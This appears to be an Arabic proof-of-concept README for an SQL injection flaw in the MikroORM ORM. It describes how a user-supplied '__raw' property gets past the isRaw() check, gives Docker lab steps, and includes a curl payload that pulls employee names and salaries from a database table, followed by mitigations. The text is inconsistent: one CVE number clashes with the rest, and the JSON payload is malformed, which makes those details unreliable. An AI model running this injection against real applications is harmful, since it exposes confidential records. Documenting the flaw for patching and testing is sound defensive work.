
CVE-2026-34220 — Updated!
ثغرة حقن SQL في MikroORM
CVE-2026-43220 حقن SQL في MikroORM
★ إثبات مفهوم حقن SQL في MikroORM CVE-2026-43220 ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
نظرة عامة
CVE-2026-43220 هو ثغرة حقن SQL في MikroORM، وهو إطار عمل ORM شائع الاستخدام في TypeScript/Node.js.
عندما يتم تمرير قيمة مقدمة من المستخدم تحتوي على خاصية__rawإلى عمود Custom Type دون التحقق منها، يتعرف فحصisRaw()في MikroORM عليها كتعبير Raw SQL داخلي موثوق ويُدرج قيمةsqlالتي يتحكم بها المهاجم مباشرةً في الاستعلام المُولَّد دون تحويل النوع أو تعقيمه، مما يؤدي إلى تنفيذ غير مقصود لأوامر SQL عشوائية.
الإصدارات المتأثرة
| الفئة | الإصدار |
|---|---|
| معرّض للثغرة | MikroORM الإصدار ≤ 6.4.3 و 7.0.0 ≤ الإصدار ≤ 7.0.5 |
| مُصحَّح | MikroORM 6.4.4 و 7.0.6 |
التأثير
- تسريب بيانات حساسة من قاعدة البيانات دون تصريح
- إفساد أو تعديل غير مقصود لسجلات قاعدة البيانات الموجودة
البيئة
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
إثبات المفهوم
بعد تشغيل البيئة المعرّضة للثغرة، اتبع الخطوات أدناه لإعادة إنتاج الهجوم.
الخطوة 1. إرسال طلب يحتوي على حمولة خبيثة تتضمن __raw
أرسل جسم JSON يتضمن خاصية __raw تستهدف عمود Custom Type.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
الخطوة 2. التحقق من استجابة HTTP
تحقق من أن واجهة API تُرجع استجابة ناجحة دون أي خطأ، مما يشير إلى أن MikroORM قبلت الحمولة الخبيثة كقيمة صالحة.
الخطوة 3. تأكيد تسريب البيانات الحساسة إلى محتوى المنشور
تحقق من أن حقل content للمنشور المُنشأ يحتوي على نتيجة الاستعلام
من جدول salaries (على سبيل المثال، Alice: 5000 / Bob: 7000 / ...)،
مما يؤكد أن بيانات من جدول غير ذي صلة قد تم تضمينها بصمت
في الاستجابة دون أي خطأ أو انتهاك لضوابط الوصول.
التخفيف
- الترقية إلى MikroORM 6.4.4 أو أحدث، والذي يقدم التحقق من المصدر في
isRaw()لرفض خصائص__rawالمقدمة من الخارج - تطبيق التحقق من المدخلات القائم على القائمة البيضاء لرفض الخصائص غير المتوقعة مثل
__rawقبل تمرير القيم إلى طبقة ORM